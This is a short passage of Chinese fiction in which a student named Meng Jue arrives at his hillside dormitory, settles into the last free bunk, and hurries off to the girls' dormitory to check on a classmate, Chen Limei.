报完名,当孟珏顺着小路拾级而上,气喘吁吁爬到半山腰,看着眼前那栋修于二十年前的宿舍楼,隐约有些后悔带了个崭新的木箱来。 孟珏来得晚,运气却挺好,分到了一层最里面的四人间,宿舍里并排放着两张上下床,除去靠窗那张的下铺还空着,其余三个床位铺好了床单,看来孟珏真是宿舍最后一个到的。 孟珏将木箱塞进床底,顾不上铺床,先拿着盆儿和毛巾上洗漱间,用凉水草草冲洗了一番,便往山下的女生宿舍赶。 他可要亲眼去看看,这陈丽梅是不是真的胆子这么肥。